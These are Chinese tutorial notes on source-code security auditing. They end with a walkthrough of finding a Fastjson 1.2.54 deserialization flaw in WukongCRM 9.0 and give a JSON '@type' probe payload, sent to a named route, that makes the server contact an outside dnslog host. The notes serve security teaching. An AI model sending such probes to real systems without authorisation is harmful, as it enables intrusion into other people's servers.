代碼審計必備知識點:
1、代碼審計開始前準備:
環境搭建使用,工具插件安裝使用,掌握各種漏洞原理及利用,代碼開發類知識點。
2、代碼審計前信息收集:
審計目標的程序名,版本,當前環境(系統,中間件,腳本語言等信息),各種插件等。
3、代碼審計挖掘漏洞根本:
可控變量及特定函數,不存在過濾或過濾不嚴謹可以繞過導致的安全漏洞。
4、代碼審計展開計劃:
審計項目漏洞原理->審計思路->完整源碼->應用框架->驗證并利用漏洞。
代碼審計兩種方法:
功能點或關鍵字分析可能存在的漏洞
?? -抓包或搜索關鍵字找到代碼出處及對應文件。
?? -追蹤過濾或接收的數據函數,尋找觸發此函數或代碼的地方進行觸發測試。
?
?? -常規或部分MVC模型源碼可以采用關鍵字的搜索挖掘思路。
?? -框架 MVC 墨香源碼一般會采用功能點分析抓包追蹤挖掘思路。
1.搜索關鍵字找敏感函數
2.根據目標功能點判斷可能存在的漏洞
案例:CNVD-悟空CRM9.0(JAVA版)-Fastjson組件
1.根據cnvd公開的漏洞信息得知悟空CRM9.0存在命令執行漏洞。
2.下載悟空CRM9.0源碼:https://github.com/72wukong/72crm-9.0-JAVA??? 。將源碼導入到IntelliJ IDEA ,部署好環境,啟動服務器。
3.進入IntelliJ IDEA,第一步就是打開pom.xml文件,查看項目引用了哪些組件。
當將鼠標移動到fastjson組件時提示使用的1.2.54版本存在漏洞。
4.搜索fastjson組件產生過的歷史漏洞,找到對應版本的漏洞,查看漏洞利用信息。
5.知道產生的漏洞之后還需要知道fastjson在源碼中是怎么使用的。
搜索后得知:使用fastjson時最常用的方法就是parseobject()。所以就可以在源碼中搜索? parseobject? 確認源碼中使用fastjson的位置
6.全局搜索queryTaskByWorkId方法,看是誰調用了,路由地址是多少。
7.通過跟蹤代碼得知路由地址為:work/queryTaskByWorkId???? 需要以post方式傳遞json參數,
數據類型為:Content-Type:application/json;charset=UTF-8
8.訪問路由地址抓包修改。配合dnslog測試是否成功執行命令——傳遞的json數據:{"@type":"java.net.Inet4Address","val":"dnslog地址"}
9.dnslog成功接收到請求信息,漏洞存在。